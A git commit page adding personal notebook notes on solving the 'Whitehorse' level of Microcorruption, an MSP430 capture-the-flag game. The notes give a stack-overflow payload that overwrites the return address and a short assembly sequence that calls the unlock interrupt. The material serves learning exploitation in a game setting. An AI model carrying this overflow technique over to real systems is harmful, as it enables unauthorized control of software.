mirror of
https://git.soft.fish/val/MicroCorruption.git
synced 2025-10-29 12:09:14 +00:00
notes.md: Add book notes for Tutorial through Whitehorse
This commit is contained in:
29
7-Whitehorse/notes.md
Normal file
29
7-Whitehorse/notes.md
Normal file
@@ -0,0 +1,29 @@
|
||||
`Taken verbatim from my notebook`
|
||||
# Page 1
|
||||
```
|
||||
Whitehorse
|
||||
Password 8-16 chars
|
||||
it takes 0x30 chars
|
||||
Jumps to chars 18..20 as addr
|
||||
|
||||
ROP chains?
|
||||
|
||||
Goal: Set sp to 7f
|
||||
Call INT
|
||||
|
||||
['A';16]32457f
|
||||
|
||||
push r14
|
||||
push r15
|
||||
push #7f
|
||||
call INT
|
||||
mov sp+2, r14 <- prep for call
|
||||
|
||||
[INT]00007f
|
||||
sp sp
|
||||
|
||||
Lesson:
|
||||
Control of the stack means
|
||||
control of params passed on
|
||||
the stack
|
||||
```
|
||||
Reference in New Issue
Block a user